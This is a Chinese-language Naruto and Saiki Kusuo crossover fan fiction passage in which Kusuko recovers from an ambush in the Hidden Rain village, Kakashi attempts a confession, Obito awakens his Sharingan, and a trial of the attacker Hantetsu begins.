平静的夜里突兀地传来一阵哭声,那是红豆。 似是被惊醒,带土终于松了手。 长门顺势将楠子抱住,纵身几个跳跃就消失在某个转角。 卡卡西还想跟上,却听那个被黑色长衣覆盖了全身的男人说:“稍等一下吧,我想,我需要给大家一个解释。” 身为上忍,他,不得不停下了脚步。 ----------------- 雨隐村的议事厅,长门甫一进入,就感觉眼前一暗。 就像是没有窗户也能隔绝风雨,现在的议事厅也隔绝了外间的月色和目光。 怀中的少女轻盈地跳了下来,一落地就已经蹲在地上捂住了脸。 “楠子……大人?”看到楠子无事,长门才感觉到自己心脏的紧绷骤然缓解,遮掩在衣袖下的手指握紧,才终于止住了那些微的颤抖。 【方才,那应该是幻术吧,还是区域性的幻术。】他想着。 原本只是远远观望,可看着对方自身前身后涌出的鲜血,他还是慌了。 这可是救下了雨之国,又有机会改变世界的楠子大人。 他从来没有想到她居然也会受伤。 【但这是当然的吧?纵然楠子大人拥有神一样的伟力,但是就像是她说的一样,她并不是神……】 而且,就算是神,也可能会被人杀死吧。 发现楠子安全,长门反而有些恍惚,方才那股紧张就像是骤然松懈的弓弦,哪怕他一开始就知道对方绝不会轻易受伤,也像是被狠狠抽了一记。 被抽了一记的,何止是长门! 楠子也觉得自己被抽了一记。 丢脸,太丢脸了! 这丢脸的过程,还被泉奈和长门看到了! 啧,幸好不是斑爷爷看到,否则他一定会嘲笑她一百年! 已经成为下忍了,已经师从大蛇丸了,已经想好要“提升”自己的实力了,怎么还会在这种时候犯这样的错误呀? 此时此刻,她的脚趾都要抠起来了。 还有长门…… 楠子微微张开了捂住眼睛的手,虚着眼去看长门。 “这是怎么回事?不是说会在过几天发动?”袭击目标也是她的吗? 她还准备调走卡卡西和带土,这样她是强是弱,发生了什么,还不是她说了算? 可是啊,棋差一招。 长门稍稍平复心绪,开口解释:“有的人喝了酒,我们的内应只来得及放出消息通知。” “居然因为喝酒?”楠子气不打一处来,手指的关节顶住了眼镜,那镜片在暗夜里发出寒光,“看来往后必须在这里禁酒了!” 长门只是苦笑,【楠子大人又在说笑了。】 在他的心中,楠子大人纯洁得如同牛奶一样,根本不可能因为这种小事就惩戒他人。 ‘别把我想的像是圣人一样啊,我最近才连翻了两个大跟头呢。’ 楠子的头埋得更低了。 长门似乎注意到了她的“疲惫”,迟疑了一瞬,问:“您的身体,真的没有受到伤害吗?” 楠子拍了拍膝盖上完全不存在的灰,站起了身,深深叹气:“要是这么轻易就被伤到,我也没必要继续在外行动了。” 望着她那浑不在意的模样,长门反而皱起了眉。 他当然了解楠子大人的强大,可是……万一呢? 眼前这位,可是唯一能够实现弥彦以及他们心中所想的世界的火焰啊。 心底涌现出些微担忧,长门的语气有几许急躁:“那世间还有什么事物,能够伤到您呢?” 49.必杀 ‘人心……大概只有人心能够伤到我了吧。’ 在听到长门的问题,楠子的脑海中第一个瞬间就弹出这个文艺的回答。 可是,这是真的。 纵然拥有可以感知一切的心灵感应,可以操纵他人的意识想法,但在这个世界上,人心依旧是她无法捉摸的。 就像是之前那次任务的失误,以及这次的。 如果没有超能力的话,她恐怕真的会失败吧? ‘除了超能力,我需要学习的还有很多。’ 楠子有些惆怅,面对长门认真的神色,却不能将这些事说出,随意道: “核弹、陨石,或者火山爆发吧。” 骗人的,就算是用核弹打她,用陨石砸她,火山也爆发,她也不会有事,只是其他人会死而已。 她转回了头,不再去想。 “随便安排一间病房,我暂且休息一阵子。” “是,楠子大人。” ----------------- 另外一边。 水门看向神色低落的卡卡西,接着泉奈的话,讲明了前因后果。 “泉奈大人早就提前和我通了气,原本以为会在之后几天配合,没想到对方行动得这么仓促。” 卡卡西紧皱着眉,心中翻江倒海。 ‘我应该保护队友的啊!为什么会被对方轻易调虎离山呢?!把楠子和带土留在原地,结果,果然他们就遭遇了危险……楠子……楠子……’ 他几乎是痛得有些发蒙。 从任务最初的碰面,一路上的相处,雨隐村前遇到长门,再加上楠子方才遇袭…… 一幕幕画面在脑海里闪过。 早前带土还询问过他要不要做些什么,当时他却只认为一切维持原状就好。 就像是野乃宇阿姨说的一样,他要尊重楠子的意愿,要接受她现在不想和他在一起的事实,可是现在呢? 她根本没有保护好自己,不是吗? “听泉奈大人说,楠子过一阵子就可以恢复,稍后,你去探望一下楠子吧。”水门面带担忧。 “嗯。”卡卡西拖动着脚步,走向了雨隐村忍者所说的医院。 因为雨隐村表示,他们会用独有的秘术治愈楠子,所以再次能见到对方,已经是第二天早上。 走过转角,病房里传来断断续续的说话声。 “我真的已经没事了。”是楠子的声音。 “真的吗?”这是带土的声音。 “我也没想到呢,雨隐村的医术会这样出色。对了,你怎么突然觉醒了写轮眼?” 面对询问,带土停顿许久,却像是晚间一样,未给出任何回复。 “没什么,只是无关紧要的小事。” 怎么会是“无关紧要”的小事呢?明明你就是很期待开眼啊! 可是偏偏在这种时候,偏偏是没有保护好楠子的时候! 带土那个时刻无能为力的身影似乎变成了自己,怒火在胸中一寸寸点燃,呛得卡卡西鼻头发酸,紧咬住了牙才克制住眼泪涌出的冲动。 【少在这里耍帅了!】 抬手重重拧动门把,他径直走进病房。 屋内两人闻声转头看过来,一个人神情意外,一个人则只是淡定。 楠子她当然会淡定啦! 她不是总是这样吗?独断专行,总是不听人劝告。 只是个下忍而已,为什么要逞强? 卡卡西紧盯着楠子,看着她的嘴角动了动,似乎想说什么,但是还是像是往常一样抿起了唇,并不张口。 【是对我无话可说吗?】他的眉头蹙紧,整个人的气势仿若要上战场一般,自然也灼伤了他人。 “我去拿点东西。”带土说着,疾步从卡卡西身边错过。 卡卡西眉头一动,忍住了想要说话的冲动,听着身后的门被轻轻关上。 他重步向前,眼前楠子的影像越来越清晰。 她穿着一身浅色病号服,头发凌乱地散在脸颊两侧,更显得那张面容如同冷釉一般苍白忧郁,连唇色也浅淡无光,如同釉质上那唯一的一抹水彩。 她的睫毛微微一颤,眉宇就像是卷上了轻愁,嘴角也带上了不愉悦的弧度。 每每到了这个时候,卡卡西自己就会退一步。 因为他总是不愿意她生气的。 你看,她自尊极高,人且冷淡,心思敏锐,总能第一时间察觉旁人的情绪变化。 偏偏又那样有才能,只是不适应忍者的战斗而已。 她心比天高是正常的,不愿意答应自己,将时间浪费在她所认为的那些浪费时间的事情上也罢。 可是,可是…… 他走近了床边,楠子已经直起了身体,拉住了他紧握着的手。 “卡卡西,你别担心,我真的没有事。”楠子语调平静,那双眼睛里蕴含着安抚的意味。 但是这是假的。 她总是这样,总像是能感应到他想做什么一样,在炸药桶即将爆炸的前一秒将火苗扑灭,而后又在下一次的时候若无其事地点燃。 他总以为那是“心有灵犀”,可这一次不能这样了。 卡卡西咬了咬牙,看着楠子的神色也变得郑重,开口道:“楠子,你就没有什么想对我说的吗?” 她似乎有些讶异,但那也只是似乎。 她多聪慧的一个人啊,怎么不会明白自己想听到的是什么? “我会好好保重自己的性命的”,又或者“我不会再做这样危险的事了”,而不是…… “我是知道自己不会伤重,才会那样做的。” 卡卡西看着楠子轻声回应,她垂下了眼眸,不去看他,是因为她其实明白他想听到什么,但她就是不想说。 总是这样…… 他忽而觉得无力,对自己的,对楠子的,对眼前状况的。 脑袋里突然冒出数个想法。 如果忍界不是这样就好了,如果他没有肩负责任就好了,如果……楠子可以安心呆在孤儿院就…… 【等等……我是这样想的吗?】 只要楠子呆在孤儿院就好,所以她不会运用查克拉也不是什么大事,忍术不济也没关系。 卡卡西忽而想起了野乃宇的话。 “这啊……和你的父亲是个怎样的人无关,而是因为做出这个决定的我,不是男人,也不是女人,而是一个简简单单而又自私的人,仅此而已。” 楠子,她也是这样想的吧?想要自己做决定,也不要受他的“裹挟”和“压迫”? 是的,在水门不在的时候,旗木卡卡西自认自己就是那个“裹挟”和“压迫”着带土和琳与自己一起行动的人。 可楠子是不同的,他们心意相通,她是不是看透了这一点,所以才永远不会答应他? 卡卡西垂下了头,银灰色的发丝遮住他那双眼睛,如同烧尽了的灰。 楠子一时没法再接话。

她能听见卡卡西心底纷乱的思绪,却没想到那全部都是关于自己的。 什么“心有灵犀”啊……只不过是心灵感应而已。 只要她想,她能和任何一个人“心有灵犀”。 楠子心中苦笑,如果卡卡西爱上的,是这样一个虚幻的自己,那自己又怎么可能答应他呢? 所以啊,她不能再和他“心有灵犀”了。 楠子的嘴角爬上一丝苦意,握住卡卡西的手又收紧几分,轻声道:“我知道你在想什么。” “你是不是想着,受伤的人换成带土会更好?别开玩笑了,因此而受伤,是谁都不想的。但是我好歹也是忍者,又比带土聪明,当下既然做出了那样的判断,自然是因为认为那样最好啊。” 楠子厚着脸皮提起了与卡卡西思绪全不相关的事。 现在的她当然不可能承认那是因为自己头脑一热,而后就冲了上去啊! 多傻啊! 她继续绷着脸,干巴巴劝道:“其实我也很庆幸啊,受伤的如果是你或者带土,又或者是红豆,就绝对不可能那样轻易恢复。” 卡卡西依旧没有说话。 楠子只能听见对方的心声像是鬼打墙一般绕个不停。 【为什么会提到带土?】 【你明明知道我在想什么吧?这是故意的吗?】 【所以你就是……】 ‘喂,卡卡西,你的果敢呢?你的坚定呢?还有你那冷酷的眼神呢?现在就分给我一点啊,不是说要当冷面酷哥吗?’ 楠子心中吐槽,语气却更软了一分,“我是真的没事啊,别这样,朔茂大叔不也受过伤吗?” 【不一样,不一样的……】 “而且,我觉得这也是一次很好的经验。”楠子试着让自己兴奋起来。 【根本没必要有吧,受伤的经验。】 楠子的眼睛虚了虚,干巴巴道:“说起来,我们还有任务……” 【现在根本不是说任务的时候……】 楠子试着向外张望,“水门老师呢?红豆呢?带土也跑出去很久了。” 【只有我们俩……干嘛要提到别人呢?】 楠子收回了目光,嘴角这次真的隐隐抽搐。 ‘麻烦,真麻烦……’ 她就是知道啊!旗木卡卡西有的时候就是这样一个麻烦的家伙啊。 对着自己一句话不说,却会在内心里一句一句和自己顶嘴。 可她……偏偏也不可能将卡卡西的懊丧和晦涩放在一边,冷眼不去理会啊。 ‘烦人啊,真烦人。’ 楠子心中泛起了潮意,偏偏就是这一声一声的呼唤,搅扰得她不得不在意,又完全回应无能啊。 ‘实在……太吵了。’ 迟疑了一瞬,她深吸口气,拉起对方并未松开的手,按在了自己的小腹之上,试着牵起嘴角,声音柔和道:“你看,真的没事,不要再这副神情了,不是一点都不像你了吗?” 卡卡西猛地抬头,黑色的眼底几乎盛满了复杂与不敢置信。 ‘在不敢置信些什么呢?虽然不想答应你的告白,但是我们不还是朋友吗?……我到底是给了你怎样的折磨啊,旗木卡卡西。’ 楠子动了动嘴角,放开了卡卡西的手。 她的眉眼不由得低垂,睫毛轻颤后,那双深紫色的眼眸微微抬起,她低声说:“不是要当‘帅帅的卡卡西’吗?像是这样婆婆妈妈,可一点都不帅了啊。” 50.意外 ‘啧……’才一说完,楠子就觉得自己犯了错。 方才的神情不是故意的,方才的语气也不是,可是卡卡西偏偏又会错了意。 明明想好了不再给对方任何可能的错觉,想要射出的,也只是友谊的苦无,卡卡西却又像是中了丘比特的箭矢一样,开始晕头晕脑。 【她,心里果然有我吗!这个时候挑明的话……】 ‘喂,怎么又想到告白上去了……你们男孩子,我还真的是受不了了。’ 楠子感觉自己的额角滴下了好大一滴冷汗,自己今天的好意恐怕全都喂了狗。 可她还是眼睁睁看着。 看着卡卡西忽而挺直了身体,拉住她放在他颊边的手。 黑曜石一般的眼睛,因窗外的光线而显得熠熠生辉。 微微前倾身体,他认真的看着楠子,那种眼神,足以让任何一个青春期的少女沉醉——除了能够从他的心声中听出他在计算哪个角度更帅,什么样的话语告白成功率更高的齐木楠子。 对!这就是陷入纠结就会阴暗抓狂,可一旦想开了,就效率极高的旗木卡卡西啊! 而楠子甚至能够感受到对方逐渐加速的心跳,越发升高的体温,时间似乎都在为他让道,渐渐变慢了。 只是他的对面,依旧是铁石心肠的自己罢了。 她到底做了什么呢?能让卡卡西这样喜欢自己? 她救下了朔茂大叔,但是那分明不存在于旗木卡卡西的记忆之中。 又或者是因为自己的关心和照顾,但其实她也并不是一个体贴的人,还常常以“伤害”对方为乐呢。 卡卡西是很好很好的,她当然也是很好很好的,可是……她对他的帮助和喜爱,可绝不是“爱情”的“爱”啊! 楠子的大脑转动着,看着卡卡西黑色的面罩下的嘴唇微动,声音就像是被录像机放慢了一般,出现了奇怪且并未入耳的杂音。 “楠子,我喜……” “学姐!我听说你恢复了!就立马跑来了!” 御手洗红豆“噔噔噔”地跑了过来,一把将卡卡西扒拉到一边,将手中的果切递到了楠子面前,眼睛笑成了月牙:“嘿嘿!这是长门大哥推荐的,这里的特产哦!超级好吃!” “啊,是啊。”楠子说着,余光却瞥向了浑身上下几乎要散发出黑雾的旗木卡卡西。 哈,她就知道,旗木卡卡西的告白不可能成功! 心脏“怦怦”直跳,楠子感觉自己又像是闯过了一关。 果然,之后还是减少和卡卡西的见面次数好了。 后怕的楠子,在红豆的催促声中,用牙签插起一块水果,咬了下去。 汁水十足。 “确实好吃呢。”对着诚心打断卡卡西告白的红豆,她的笑意真心实意。 卡卡西也发现了这一点,咬着牙问:“你们怎么会过来?” 红豆撇撇嘴,“我过来盯着学姐休养嘛,这次考察的核心研究人员可是她,我只是跟着打杂的。” “什么?”说这话的是卡卡西,但看着长门居然没有意外的神色,他就一脸凝重。 【这件事,长门也知道吗?任务书中没有提,是楠子告诉他的?还是他指定的?】 ‘不要再脑补了啊,头痛。’ 楠子按了按额角,看向了卡卡西,“说起来,你真的不去看看带土吗?我看那个家伙,方才的状态也不对呢。他……” 她顿了一下,“估计在天台吧?” ----------------- ‘可恶、可恶、可恶!’ 带土捏紧了拳头,记忆又回到了昨夜。 他趴在地上,看着前方楠子的背影。 这一刻,她的背影莫名地和旗木卡卡西冷漠的模样重合。 就在半年前,卡卡西也是这样,说着自己会完成任务,再见到他就是敌人死伤一片,而他满身是血,昏迷不醒。 那一次,他就赌咒发誓,他宇智波带土,绝不能眼睁睁看着队友身陷险境! 可那种麻木感从手臂的伤口开始,蔓延至全身,连舌头都僵硬发麻。 他手脚如同不是自己的一样,一点一点没了知觉,半点都动不了。 ‘快动起来啊!’ 带土在心底疯狂嘶吼,连眼泪都不自觉地流了出来。 为什么总是这样?为什么总是在拖后腿?! 楠子明明帮了他无数次,为什么到了现在,他还需要她来帮忙? 那几个忍者呢?又有什么目的,会不会……会不会伤害楠子和红豆? 一想到那样的情况,带土死死攥紧方才握住的石头,尖锐的石角划破掌心,血液流了出来。 ‘动起来……快点动起来啊!’ 激烈的情绪如同奔流的海水,在脑海里冲撞,像是冲破了无形的堤坝。 带土猛地睁开双眼,僵硬的身体终于可以轻微活动。 风,似乎慢了,月,似乎更清晰了。 他心头一惊,连忙摘下脸上的防风镜。 借着镜面微弱的反光,他看清了自己的眼睛。 猩红的瞳孔里,一枚单勾玉清晰转动。 那就是,写轮眼。 “怎么可能……” 带土震惊地喃喃自语,可现在不是惊讶的时候,他立刻抬头望向前方的战场。 身体还在发软,他却知道一定要去救下楠子! 带土咬着牙,挣扎着撑住地面,缓缓站起身来。 而后,就是见到楠子倒地后,写轮眼进化为三勾玉写轮眼的时刻。 大概是因为那个时刻的冲击太过强烈,他甚至有点记不清楚那个时候发生了什么。 只记得大片的血液涌现,楠子如同坠落的蝴蝶一般倒了下来,粉色的发丝划过他的脸颊,他垂下眼,只能看到她面无血色的模样。 写轮眼一下进化为三勾玉,明明应该是三倍的快乐的,但是他只有对自己的不齿。 不是原本很期待的吗? “可恶!” “嘭”的一声,带土的拳头重重砸向了天台的地面。 地面似乎是用什么坚硬的材质制作的,竟然纹丝未动,反而他的手指出现了数道损伤。 他瞥了一眼那鲜血,全不在意,浑身却像是没了力气一般,瘫坐在了地上。 带土忽而听到身后传来声响,猛地回头看去,居然是……卡卡西。 卡卡西此刻也觉得十分无奈。 草丛里钻出一个戴着风镜的刺猬头少年,只露出半张脸,简直像只受惊的兔子。 这不明摆着吗?大概是自己刚才的态度吓到他了? ‘我果然还是不够成熟啊。’卡卡西心里想着,尤其回忆起方才楠子的模样。 他知道那或许又是楠子的缓兵之计,但是,只要是她明白的话,那自己只要努力感动对方是不是就…… ‘咳,别分神啊卡卡西。’他看向了带土,“那个,抱歉,带土。还有……恭喜你开眼了。” 带土完全没料到他会说出这些话,立刻从草丛里跳了出来。 他脸上扯出大大的笑容。 “哈哈哈,你看到了吗?卡卡西!我一下子就开出三勾玉了。以后做任务,你可就要靠我了!” 只是那笑容实在太怪异了,几乎像是在抽筋。 但这就是带土啊。 卡卡西心中的别扭感逐渐消失,面罩下 的嘴角微微上扬,却又板起了脸,“原来是这样。不过你也太大意了,怎么能让楠子一个人追上去?” 带土脸上的笑意塌了下来,“我也没料到会变成这样啊。” 卡卡西看着带土,心情也不由得轻松起来,故意道:“那看来,这段时间,果然是要加紧训练了啊。” “训练?”带土面露疑惑。 “没错。”卡卡西点了点头,“出发前就已经定好了。楠子她们负责研究相关的工作,我和你要跟着水门老师,再加上雨隐村这边的人一起训练。” “什么?”带土瞪大双眼。他已经明白了,无论是卡卡西还是水门老师,其实都注意到了他的不甘,并且他们还早已做了安排。 心中原本的忐忑似乎被全部燃尽,他又恢复了活力,握紧拳头,“好!那你们就看好了!” 卡卡西轻轻摇了摇头,“什么啊,看来你当时根本就没认真听啊。” 他心里还有话没讲完,如果一切顺利,两村之后也许会联合举办中忍考试。 用这种方式代替争斗厮杀,大概会是更好的选择。 想到这里,他的神色慢慢变得严肃。 ----------------- 这次来雨隐村执行任务,齐木楠子可没有打算一直休养。 等水门开始带着卡卡西、带红豆和雨隐村的忍者进行交流之后,无人关注的她立刻从床上起身,赶往生产流水线。 这是她第一次不以“栗子”这个身份,来这里“视察”。 “这里的流程可以再调整一下,能提升整体效率。” “还有这些零件,材质可以再精简,既能压低成本,售价也能跟着下调。” “而且,你们该考虑升级的问题了吧,毕竟这个技术并不算难。” 一旁雨之国的研究人员看着她,有些意外,“没想到你年纪不大,对这些东西还挺有见解。” ‘呀嘞呀嘞,还不是因为这个机型原本就是我设计出来的啊。’楠子在心里想着。 雨之国本就物资匮乏,能独当一面的研究人员本就不多。 眼下众人做的改动,都只是在她设计的波轮洗衣机基础上微调。 她其实还能造出性能更好的滚筒洗衣机,但如果一开始就拿出顶尖的产品,后续想要继续优化就会变得很难。 她自然不能一开始就把路堵死。 楠子静静思索着,就在这时,一道声音冷然传来:“就算改良设计、提升性能,又能改变什么?” 她抬头看去,说话的人面容凶悍,拖着一条受伤的残腿,坐在研究桌旁。 “你想说什么?” “我说的有错吗?”那人抬高了音量,“这些东西不过是用来洗衣服,根本没法增强忍者的实力。” 旁边一同工作的研究人员连忙出声劝阻。 他转头看向楠子,脸上满是歉意。 楠子并不在意,看向那名忍者,缓缓开口:“能做出造福普通人的产品,总比制造伤人的武器要好。至少,这些东西能实实在在给大家带来安稳的生活,不是吗?” 名叫善爷的忍者顿时沉默下来。 没过多久,他受不了室内的气氛,拖着伤腿转身离开。 同行的雨隐忍者连忙上前致歉:“实在不好意思,他是瀚铁爷爷的队友,所以心里才一直带着情绪。” 楠子心里已经理清了前因后果,还是顺势问了一句。 “原来是这样。对了,瀚铁他们现在怎么样了?” 这名忍者轻轻叹了口气:“不出意外,他们会被判处死刑。” “死刑?”这个结果超出了楠子的预料,她皱起了眉头。 51.庭审(一) 死刑? 楠子明知故问:“雨隐村的律法,这么严苛吗?” 对方反倒觉得有些奇怪,顿了顿才解释:“当年山椒鱼大人掌权的时候,律法比现在还要严酷呢。不过你现在年纪还小,估计都不知道。哎……现在已经宽松很多了。而且瀚铁一行人,毕竟是违背了盟约。要是让他们的计划得逞,后果不堪设想。如今这份和平,来得太不容易了。” 那人说到这里,便不愿再多提。 楠子心里暗自思索:‘直接判处死刑,未免还是太重了。’ 她抬眼望向某个方向。 这里是一处大型厂房,所谓的研究室,只是厂房中隔出的一个小间,甚至都没有顶。 上方则是连接各处的回廊。 她的目光扫过去,正好对上一双诧异的眼睛。 那是长门。 楠子早就察觉到他来了,只是一直装作没有留意。 此刻递上去一个眼神,长门就立刻会意,手臂一撑,就跃下回廊。 “啊。是长门啊。” “嗯。”长门看向旁边的研究人员,“辛苦各位了,我有话想和楠子单独聊聊。” 这些研究人员相互对了个眼神,没过几秒,便走得干干净净。 他压低了声音:“楠子大人,您有什么吩咐吗?” 楠子笔尖唰唰,在材料上做出了几个标注,出声询问:“我听说,你们打算对瀚铁一行人执行死刑?” 长门沉默了几秒,终究点头应声:“是。” “这是谁的决定?”楠子继续问道。 “是山椒鱼半藏大人的决定。” 楠子的眉头皱了皱,抬起眼来,“那你们的想法呢?” 长门有些错愕地抬起头,没料到楠子会主动询问他的意见。 关于这次的死刑判决,弥彦、小南和长门,其实和山椒鱼半藏争论过。 只是他们无法改变山椒鱼半藏的决定。 当时,那位严苛的忍者看着他们,语气带着几分嘲讽:“你们这些天真的家伙,在想什么?只知道一味地祈求安稳,却不知道要维护忍者的铁则。你们以为栗子大人是什么性子?你们以为木叶是什么地方?” “那是火之国的顶级忍村。在过去,这种公然违抗忍村规则、蓄意破坏两村盟约的人,早就被直接处死了,根本不必等到我来下令。 “你们居然还在这里犹豫不决、拖拖拉拉,实在令人发笑。” 弥彦也曾去找过泉奈,试图说服他改变主意。 可泉奈始终沉默,没有表态。 长门心里也满是犹豫,但和弥彦、小南不同,他纠结的从来不是该不该处死瀚铁一行人。 他和小南、弥彦一样,心里都不赞同将那些人处死。 真正让他迟疑的,反而是楠子本人。 在雨隐村中,只有他、泉奈大人和斑大人知道雨之国的“神”真正的身份。 那么,让亲身遭受袭击、险些遇险的“神”,去原谅伤害自己的人,未免也太过分了…… 况且,他也明白,以“神”的宽容大度,她绝对会下令…… “暂缓死刑吧。”楠子语气淡然,若有所思,“事已至此,我觉得,还是举办一场庭审比较合适。” “庭审?”长门有些讶异,他知道楠子当然不会赞同死刑,可是却没想到会这样处理。 “是,就在今晚吧。召集村里所有无事的上忍和中忍到场旁听。同时邀请木叶的波风水门列席。” 这样说着,楠子抬眸看向了长门,嘴角噙着一抹笑意,看了看房间内的表,“现在是早上9点,我想,你们还有最多十多个小时。怎么,有困难吗?” 对上她那双深紫色的眼眸,原本还不知道要不要答应的长门瞬间不再迟疑,收敛神色,郑重应声:“没有,楠子大人!” 话音落下,他身形一闪,瞬间消失在了原地。 ----------------- 晚间7点半,雨隐村巨大的议事厅内。 已经修复关系、甚至关系更进一步的两位挚友并肩坐在一起。 眼睛瞟着四周,带土抬起胳膊肘,轻轻捅了捅身旁的卡卡西,压低声音,“水门老师真没说错吗?今天要商议的确实是瀚铁他们的事吧?既然是这件事,为什么偏偏不让楠子列席?你不觉得这件事很奇怪吗?” 卡卡西微一蹙眉,同样低声道:“这次是正式审判,需要稳妥行事,应该是怕楠子闹出什么动静。” 在卡卡西心里,楠子懂事又聪慧,根本不会做出出格的事,但站在雨隐村的角度,让深谙忍界规则的水门老师出面代为回答,恐怕是最为稳妥的安排。 况且,这件事一开始雨隐村就和水门老师沟通过了,只是没想到他还没来得及向几人做出安排,瀚铁就已经发动攻击了而已。 他不再去想这件事,反而观察着此刻比以往宽敞得多的议事厅。 方才接近的时候,他就发现了异样。 以往由紫色巨人托举的议事厅,只是一座圆饼状的镂空建筑。 可今日,紫色巨人的手臂抬高了数层。 原本扁平的圆饼建筑,直接拉长成了一个鸟笼,悬空的几排阶梯状座椅,简直就像是挂在鸟笼内部的挂件。 建筑底部的位置,则单独留出了一处平整平台。 一边较高的地方,长桌挡住了五把椅子,是如今雨隐村几位掌权者的席位。 中心区域,则像是“法庭”专门设立的犯人席位。 除了没有检察官和辩护律师的位置,这简直就像是刑侦剧集里的法庭一般。 而顺着工作人员的目光看去,卡卡西甚至发现场地隐蔽处架设着好几台全新摄像机。 这些都是雨隐村最新研发的产品,楠子这几天也有提过。 ‘他们是要全程记录这场审判吗?’卡卡西有些意外,连旁边的雨隐忍者也满脸新奇。 他们显然也是第一次见到这样的场面,忍不住小声议论,还时不时地看向两人。 “这就是木叶的忍者吗?” “听说那个旗木卡卡西,几天前差点亲手斩杀瀚铁。” “不愧是木叶的忍者,实力是真的强。” “可瀚铁也只是个中忍而已啊。” “话说他们俩看着年纪很小,实力却这么顶尖。” “现在雨隐的成年忍者,都快比不上这些木叶小辈了。” “别乱说,我可不想自家孩子小小年纪就上战场拼命。” 上战场……拼命吗? 身为现役忍者,卡卡西和带土听着周遭的议论声,心中颇有些异样。 因为他们两人可都是以身为忍者而骄傲的,却没想到雨隐村的忍者会有这样的想法。 就在这时,场内所有细碎的议论声瞬间消失。 两人同时抬眼,只见议事厅最中心的主位,已经有人落座。 ----------------- “原本还想着为难为难大家呢,没想到你们准备得这么快啊!” 齐木楠子看着议事厅内的场景,有些感慨。 她依旧穿着一身规整的军装风格服饰,将自己裹得严严实实,一身金色的暗扣与装饰闪闪发亮,格外醒目。 这套服饰并不适合战斗,因此整个雨隐村,也就只有栗子大人会一直穿着这身服饰。 所有人都清楚,这是属于栗子大人的专属套装。 她安稳坐在正中间的主位。 泉奈、波风水门、山椒鱼半藏、弥彦几人,依次在两侧落座。 听到她这话,山椒鱼半藏颇为不屑地冷哼了一声,弥彦倒是探出头来,道:“刚好有火之国的商人来这里订购摄像机,我们也采纳了他们的意见。” “订购摄像机?” “是的,”弥彦点了点头,“听小南说,他们是银之都的人,买回去准备租给剧组。” 剧组?楠子看了眼周边摆放的摄像机,“那么,这是准备试用一下吗?” “是的,只不过,这次的影片会作为雨隐村的资料进行存储。” “哼,忍者的内部事务,居然要让平民们一同观看,真是堕落。”山椒鱼半藏嘟哝着,可那音量,在场的五个忍者都听得见。 楠子并未回应,反而看向弥彦。 这位原本还有些青涩和天真的少年忍者目光沉稳,没有理会山椒鱼,反而对着楠子诚恳道:“平民也是人,而且我觉得,这可以增加民众对我们忍村的信任。” 楠子当然知道,弥彦的理由远不止他说的这一句。 比起山椒鱼半藏,他更重视这次的“庭审”。 如果通过这次庭审,能够改变雨隐村一些人的看法,那就再好不过,而又有什么比影像资料更生动呢。 她微一点头,又看向身侧坐着的水门,“那就麻烦水门大人了,希望您不要介意,至于影像资料……” 她的目光又落在了弥彦身上,他怔了一瞬,严正神色,“这次的资料只会作为雨隐村的内部资料使用,至于您的影像,如果有要求,我们会一同进行处理。” 就是打马赛克。 水门也了解一些这些技术,只是苦笑,“没什么,我倒是无所谓,只是,如果方便的话,能让我把这份资料,也一同带回木叶,就再好不过了。” “额,这……”弥彦反而看向了泉奈和楠子。 前者无动于衷,像是根本不在乎这件小事。 后者倒是点了点头,“那么就剪辑一下吧,当做娱乐节目,也算不错呢。” 这下,反而是在座的几人(除了泉奈),全部面露惊愕。 楠子也全然不管,看向了下方。 中间圈出的那处,瀚铁一行人已经就位。 当先的那个忍者面色憔悴,发丝散乱,看到了她就面露恐慌,直挺挺跪在地,声嘶力竭地吼道: “栗、栗子大人!我们并非要触怒您!只是,身为忍者,身为一个忍村,雨隐村,绝不能忘记忍者的铁则啊!” 楠子弯起嘴角,笑了,“我还以为你要说,我为村里流过血,我为村里立过功呢。毕竟,这次需要议定的是,你们最终的处置结果。” 听见她的话,议事厅里原本肃穆的气氛骤然一松。 那个忍者望着她,神色却只是呆然。 不过,楠子原本期待的主角,也并不是他。 她的目光移到了那个瘦高的忍者身上。 对方果然动作了。 瀚铁踏前一步,提高了音量,让所有人都能听到:“抱歉,栗子大人,我反而觉得,我们几人的事,只是小事。真正重要的,反而是雨隐村的未来的道路!” “未来的……道路?”楠子似是不置可否,“你觉得,这是你可以讨论的?” 瀚铁沉默了两秒,再抬起头,那张同样瘦削的脸仰了起来,“是!” “是吗?”楠子望着他,勾起了唇角,“那么,就算要你以性命为筹码,阐述你的道理,你也愿意吗? “你确定,你承受得起这个代价吗?” 52.庭审(二) 齐木楠子知道答案是肯定的。 如果不是确认对方有这样子的决心,他又怎么会召开这样一个庭审呢? 果不其然,瀚铁面色沉重,却在几秒之间就做出了决定。旁边的忍者惊恐地看向了瀚铁,他也只是摇了摇头,随即抬头看向了高台上的楠子。 “栗子大人,袭击木叶的使者,确实出于我自己的私心,但是这也是因为有的事情实在无法与您沟通。” 楠子侧了侧头,面具下的声音有些发闷,“你的意思是,无论是泉奈,亦或者是半藏和弥彦都无法解决你的问题吗?” “这怎么能一样!雨隐村……不,雨之国臣服的只有您。只有您才能带领着雨隐壮大。”瀚铁急声说着,随即隐晦地瞥了一眼坐在那边的水门,没有再继续说下去。 聪明的忍者能够听懂他的潜台词,带着雨隐村壮大之后要做什么呢?当然是平定整个忍界。 整个议事厅中,不乏有忍者是这样想的。 想想看吧,他们雨隐村不过是夹在许多大国之中的小小村落,若是能够占领旁边的小国,甚至是从火之国身上撕扯下一片丰饶的土地,那么他们是不是就不必蜗居在着雨水连绵的一角,也能够不凭借栗子大人及泉奈大人的力量,享受阳光了? 楠子一点儿都不觉得意外。 人性就是贪婪的,得到了一些,就会想要得到更多,所以,无论是她,还是同样看透了这一点的泉奈,其实都没有在雨隐村的事务上投入许多。 可他们这样的人的“一点”,对于这些雨隐村忍者来说,已经是“许多”了。 面具下,楠子眨动了一下双眼,“壮大……要做什么呢?” “额?”瀚铁又看了一眼那边同样有些怔愣的水门。 他是因为不想说,而水门的惊愕是来源于楠子的挑明。 这位木叶村的忍者,原本以为“栗子”只是想做作样子,或者宣传讨论一些什么,可绝没有想到对方居然现在就谈什么“壮大后的野望”。 这让他的神情也严肃了几分。 楠子没有理会水门,继续道:“消灭所有的忍者村,一统忍界吗?” “栗子大人!”打断的居然是瀚铁,他着急道,“请您慎言!” 楠子笑出了声,“慎言什么?这难道不是讨论吗?谁都有幻想的权利吧?像是你说的一样,培养忍者,乃至全民皆兵,将你们一个一个送上战场,让你们的鲜血洒在这片土地的每一个角落,而后……成全我的野望,你的意思……难道,不是这样吗?” 她的语气轻松,像是在谈论什么电视剧里的情节一样,议事厅里却寂静无声。 